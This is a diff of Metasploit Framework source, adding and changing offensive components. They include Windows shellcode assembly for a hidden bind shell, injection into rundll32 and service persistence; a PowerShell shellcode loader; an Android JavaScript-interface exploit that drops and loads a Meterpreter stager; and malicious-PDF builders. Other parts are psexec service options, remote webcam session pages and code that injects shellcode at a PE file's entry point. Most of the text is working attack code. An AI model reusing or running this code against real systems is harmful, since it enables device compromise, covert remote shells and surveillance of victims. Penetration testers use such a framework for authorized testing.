elif isinstance(channel, STDProcess):
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
@ -454,13 +489,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, file):
channel.write(channel_data)
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.stdin.write(channel_data)
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
@ -485,13 +520,17 @@ class PythonMeterpreter(object):
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
if DEBUGGING:
print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
except Exception:
if DEBUGGING:
print('[-] method ' + handler_name + ' resulted in an error')
traceback.print_exc(file=sys.stderr)
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
if DEBUGGING:
print('[-] method ' + handler_name + ' was requested but does not exist')
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
@ -499,6 +538,9 @@ class PythonMeterpreter(object):
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
os.setsid()
try:
os.setsid()
except OSError:
pass
met = PythonMeterpreter(s)
met.run()

BIN
data/meterpreter/metsrv.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/screenshot.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/screenshot.x86.dll Executable file → Normal file

Binary file not shown.

View File

@ -11,10 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
%{shellcode}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
}
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

View File

@ -10,7 +10,7 @@
height: 480px;
width: 640px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: black;
position: absolute;
left: 50;
@ -26,7 +26,7 @@
height: 180px;
width: 200px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: #9B9B9B;
position: absolute;
top: 480;
@ -66,8 +66,9 @@
left: 10;
}
</style>
<script src="=WEBRTCAPIJS="> </script>
<script>
=WEBRTCAPIJS=
window.onerror = function(e) {
document.getElementById("message").innerHTML = "Error: " + e.toString();
}

View File

@ -2,6 +2,10 @@
<head>
<title>Video session</title>
<style type="text/css">
body {
background: #fff;
}
div.dot1 {
position: absolute;
width: 20px;
@ -84,8 +88,9 @@
}
</style>
<script src="api.js"> </script>
<script>
=WEBRTCAPIJS=
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
@ -136,10 +141,12 @@
};
window.onload = function() {
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
setTimeout(function(){
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
}, 500);
};
function getUserMedia(callback) {

View File

@ -0,0 +1,82 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
xor edi, edi
push 0x00000004 ;PAGE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
push edi
push 0xE553A458 ;call VirtualAlloc()
call ebp
mov dword [eax], 0x44
lea esi, [eax+0x44]
push edi
push 0x6578652e
push 0x32336c6c
push 0x646e7572
mov ecx, esp ;"rundll32.exe"
push esi ;lpProcessInformation
push eax ;lpStartupInfo
push edi ;lpCurrentDirectory
push edi ;lpEnvironment
push 0x00000044 ;dwCreationFlags
push edi ;bInheritHandles
push edi ;lpThreadAttributes
push edi ;lpProcessAttributes
push ecx ;lpCommandLine
push edi ;lpApplicationName
push 0x863FCC79
call ebp ;call CreatProcessA()
mov ecx, [esi]
push 0x00000040 ;PAGE_EXECUTE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00001000 ;Next Shellcode Size
push edi
push ecx ;hProcess
push 0x3F9287AE ;call VirtualAllocEx()
call ebp
call me2
me2:
pop edx
mov edi, eax
mov ecx, [esi]
add dword edx, 0x112247 ;pointer on the next shellcode
push esp
push 0x00001000 ;Next Shellcode Size
push edx ;
push eax ;lBaseAddress
push ecx ;hProcess
push 0xE7BDD8C5
call ebp ;call WriteProcessMemory()
xor eax, eax
mov ecx, [esi]
push eax ;lpThreadId
push eax ;dwCreationFlags
push eax ;lpParameter
push edi ;lpStartAddress
push eax ;dwStackSize
push eax ;lpThreadAttributes
push ecx ;hProcess
push 0x799AACC6
call ebp ;call CreateRemoteThread()
mov ecx, [esi]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()
mov ecx, [esi+0x4]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()

View File

@ -0,0 +1,91 @@
;-----------------------------------------------------------------------------;
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
; Modified version to add Hidden ACL support: Borja Merino (bmerinofe@gmail.com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (February 2014)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
; Hidden ACL Support ----------
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
push 0x3002 ; level at which the option is defined: SOL_SOCKET
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
push edi ; socket descriptor
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
condition:
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
call wsaaccept ; push the start of the condition function on the stack
mov eax, DWORD [esp+4] ;
mov eax, DWORD [eax+4] ;
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
jz return ; if equal returns CF_ACCEPT
xor eax, eax ; If not equal, the condition function returns CF_REJECT
inc eax
return:
retn 0x20 ; some stack alignment needed to return to mswsock
wsaaccept:
push ebx ; length of the sockaddr = nul
push ebx ; struct sockaddr = nul
push edi ; socket descriptor
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
inc eax
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
dec eax
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );

View File

@ -0,0 +1,64 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push byte 0x0
push 0x32336970
push 0x61766461
push esp
push 0x726774c
call ebp ;load advapi32.dll
push 0x00454349
push 0x56524553
mov ecx, esp ;ServiceTableEntry.SVCNAME
lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
push 0x00000000
push eax
push ecx
mov eax,esp
push 0x00000000
push eax
push 0xCB72F7FA
call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
push 0x00000000
push 0x56A2B5F0
call ebp ;call ExitProcess(0)
pop eax ;SvcCtrlHandler
pop eax
pop eax
pop eax
xor eax,eax
ret
cld ;SvcMain
call me
me:
pop ebp
sub ebp, 0xd6 ;ebp => hashFunction
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [ebp+0xc9];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000004
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING

View File

@ -0,0 +1,41 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push 0x000F003F
push 0x00000000
push 0x00000000
push 0x7636F067
call ebp ;OpenSCManagerA
mov edi, eax
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
push 0x000F01FF
push ecx
push eax
push 0x404B2856
call ebp ;OpenServiceA
mov esi, eax
push 0x00464349
push 0x56524553
mov ecx, esp
push 0x00000000
push ecx
mov ecx, esp ;SVCDESCRIPTION
push ecx
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
push eax
push 0xED35B087
call ebp ;ChangeServiceConfig2A
push esi
push 0xAD77EADE ;CloseServiceHandle
call ebp
push edi
push 0xAD77EADE ;CloseServiceHandle
call ebp

View File

@ -0,0 +1,45 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
call me3
me3:
pop edi
jmp 0x7
pop eax
pop eax
pop eax
pop eax
xor eax,eax
ret
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [edi+0x3];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000001
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING
push 0x0
push 0x56a2b5f0
call ebp ;ExitProcess

View File

@ -0,0 +1,16 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
; Build: >build.py single_create_remote_process
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_create_remote_process.asm"

View File

@ -0,0 +1,23 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
; Build: >build.py single_service_stuff
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_service.asm"
%include "./src/block/block_service_change_description.asm"
%include "./src/block/block_create_remote_process.asm"
%include "./src/block/block_service_stopped.asm"
push edi
push 0x56A2B5F0
call ebp ;call ExitProcess(0)

View File

@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (28 July 2009)
; Size: 341 bytes
; Build: >build.py single_shell_bind_tcp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
%include "./src/block/block_hidden_bind_tcp.asm"
; By here we will have performed the bind_tcp connection and EDI will be out socket.
%include "./src/block/block_shell.asm"
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"

View File

@ -678,7 +678,7 @@ class DBManager
union.or(condition)
}
query = query.where(unioned_conditions).uniq
query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname }
end
query

View File

@ -0,0 +1,101 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
module Exploit::Android
# Since the NDK stager is used, arch detection must be performed
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
# Most android devices are ARM
DEFAULT_ARCH = ARCH_ARMLE
# Some of the default NDK build targets are named differently than
# msf's builtin constants. This mapping allows the ndkstager file
# to be looked up from the msf constant.
NDK_FILES = {
ARCH_ARMLE => 'armeabi',
ARCH_MIPSLE => 'mips'
}
def add_javascript_interface_exploit_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
script = %Q|
function exec(runtime, cmdArr) {
var ch = 0;
var output = '';
var process = runtime.exec(cmdArr);
var input = process.getInputStream();
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
return output;
}
function attemptExploit(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the pid
var pid = obj.getClass()
.forName('android.os.Process')
.getMethod('myPid', null)
.invoke(null, null);
// get the runtime so we can exec
var runtime = obj.getClass()
.forName('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
// LibraryData is loaded via ajax later, because we have to access javascript in
// order to detect what arch we are running.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
return true;
}
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
# remove comments and empty lines
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
end
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
data = File.read(localfile, :mode => 'rb')
data.gsub!('PLOAD', stagename)
end
end
end

View File

@ -122,7 +122,7 @@ module Exploit::FileDropper
end
@dropped_files.each do |f|
print_warning("This exploit may require manual cleanup of: #{f}")
print_warning("This exploit may require manual cleanup of '#{f}' on the target")
end
end

View File

@ -92,7 +92,7 @@ require 'msf/core/exploit/java'
# WBEM
require 'msf/core/exploit/wbemexec'
#WinRM
# WinRM
require 'msf/core/exploit/winrm'
# WebApp
@ -102,4 +102,8 @@ require 'msf/core/exploit/web'
require 'msf/core/exploit/remote/firefox_privilege_escalation'
require 'msf/core/exploit/remote/firefox_addon_generator'
# Android
require 'msf/core/exploit/android'
# Browser Exploit Server
require 'msf/core/exploit/remote/browser_exploit_server'

View File

@ -22,7 +22,7 @@ module Exploit::PDF
)
# We're assuming we'll only create one pdf at a time here.
@xref = []
@xref = {}
@pdf = ''
end
@ -148,23 +148,18 @@ module Exploit::PDF
#PDF building block functions
##
def header(version = '1.5')
hdr = "%PDF-1.5" << eol
hdr = "%PDF-#{version}" << eol
hdr << "%" << RandomNonASCIIString(4) << eol
hdr
end
def add_object(num, data)
@xref << @pdf.length
@xref[num] = @pdf.length
@pdf << ioDef(num)
@pdf << data
@pdf << endobj
end
def range_rand(min,max)
until min < r=rand(max); end
return r
end
def finish_pdf
@xref_offset = @pdf.length
@pdf << xref_table
@ -174,12 +169,19 @@ module Exploit::PDF
end
def xref_table
id = @xref.keys.max+1
ret = "xref" << eol
ret << "0 %d" % (@xref.length + 1) << eol
ret << "0 %d" % id << eol
ret << "0000000000 65535 f" << eol
@xref.each do |index|
ret << "%010d 00000 n" % index << eol
end
ret << (1..@xref.keys.max).map do |index|
if @xref.has_key?(index)
offset = @xref[index]
"%010d 00000 n" % offset << eol
else
"0000000000 00000 f" << eol
end
end.join
ret
end
@ -196,7 +198,11 @@ module Exploit::PDF
end
def eol
"\x0d\x0a"
@eol || "\x0d\x0a"
end
def eol=(new_eol)
@eol = new_eol
end
def endobj
@ -267,7 +273,7 @@ module Exploit::PDF
#Create PDF with Page implant
##
def pdf_with_page_exploit(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -290,7 +296,7 @@ module Exploit::PDF
# you try to merge the exploit PDF with an innocuous one
##
def pdf_with_openaction_js(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -313,7 +319,7 @@ module Exploit::PDF
#Create PDF with a malicious annotation
##
def pdf_with_annot_js(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -332,5 +338,6 @@ module Exploit::PDF
finish_pdf
end
end
end

View File

@ -14,10 +14,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
# privileged javascript context
# @return [String] the results that were sent back. This can be achieved through
# calling the "send" function, or by just returning the value in +js+
def js_exec(js)
def js_exec(js, timeout=30)
print_status "Running the privileged javascript..."
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
end
# Puts the shellcode into memory, adds X flag, and calls it

View File

@ -51,8 +51,11 @@ module Exploit::Remote::SMB::Psexec
# instead of all the ghetto "rescue ::Exception" madness
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @param service_description [String] Service Description
# @param service_name [String] Service Name
# @param display_name [Strnig] Display Name
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true, service_description=nil)
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
@ -70,8 +73,8 @@ module Exploit::Remote::SMB::Psexec
print_error("#{peer} - Error getting scm handle: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
servicename = service_name || Rex::Text.rand_text_alpha(11)
displayname = display_name || Rex::Text.rand_text_alpha(16)
svc_handle = nil
svc_status = nil

View File

@ -18,7 +18,7 @@ class Framework
Major = 4
Minor = 9
Point = 2
Point = 3
Release = "-dev"
if(Point)

View File

@ -70,13 +70,19 @@ module Msf::Module::Deprecated
print_warning("*"*72)
end
def init_ui(input = nil, output = nil)
super(input, output)
print_deprecation_warning
@you_have_been_warned = true
end
def generate
print_deprecation_warning
super
end
def setup
print_deprecation_warning
print_deprecation_warning unless @you_have_been_warned
super
end

View File

@ -31,5 +31,36 @@ module Msf::Payload::Dalvik
[str.length].pack("N") + str
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end
def generate_cert
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
)
key = OpenSSL::PKey::RSA.new(1024)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600*24*365*3)
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
return cert, key
end
end

View File

@ -16,6 +16,37 @@ module Msf::Payload::Firefox
|
end
# Javascript source of readUntilToken(s)
# Continues reading the stream as data is available, until a pair of
# command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
#
# Returns a function that can be passed to the #onDataAvailable callback of
# nsIInputStreamPump that will buffer until a second token is read, or, in
# the absence of any tokens, a newline character is read.
#
# @return [String] javascript source code that exposes the readUntilToken(cb) function
def read_until_token_source
%Q|
var readUntilToken = function(cb) {
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var buffer = '', m = null;
return function(request, context, stream, offset, count) {
buffer += NetUtil.readInputStreamToString(stream, count);
if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
cb(m[2]);
buffer = '';
}
} else if (buffer.indexOf("\\n") > -1) {
cb(buffer);
buffer = '';
}
};
};
|
end
# Javascript source code of readFile(path) - synchronously reads a file and returns
# its contents. The file is deleted immediately afterwards.
#
@ -189,4 +220,5 @@ module Msf::Payload::Firefox
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
end
end

View File

@ -9,6 +9,7 @@ class Msf::Post < Msf::Module
require 'msf/core/post_mixin'
require 'msf/core/post/file'
require 'msf/core/post/webrtc'
require 'msf/core/post/linux'
require 'msf/core/post/osx'

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
module Msf::Post::WebRTC
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
interface.gsub!(/\=SERVER\=/, server)
interface.gsub!(/\=RHOST\=/, rhost)
interface.gsub!(/\=CHANNEL\=/, channel)
interface.gsub!(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new(['answerer', '.html'])
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code)
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end

View File

@ -299,7 +299,6 @@ require 'msf/core/exe/segment_injector'
end
def self.to_winpe_only(framework, code, opts={}, arch="x86")
if arch == ARCH_X86_64
arch = ARCH_X64
end
@ -310,30 +309,60 @@ require 'msf/core/exe/segment_injector'
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
pe._file_header.v['NumberOfSections'].times { |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
}
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
#look for section with entry point
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
characteristics = sec[1][0x24,0x4].unpack('L')[0]
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
#put this section writable
characteristics|=0x80000000
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - (code.length + 4)
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('L')
exe[sec[0],newcharacteristics.length]=newcharacteristics
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
#put the shellcode at the entry point, overwriting template
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
# put the shellcode at the entry point, overwriting template
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
return exe
end
@ -383,6 +412,33 @@ require 'msf/core/exe/segment_injector'
return pe
end
# Splits a string into a number of assembly push operations
#
# @param string [String] string to be used
#
# @return [String] null terminated string as assembly push ops
def self.string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if (rem > 0)
str << "\x00" * (4 - rem)
pushes = ''
else
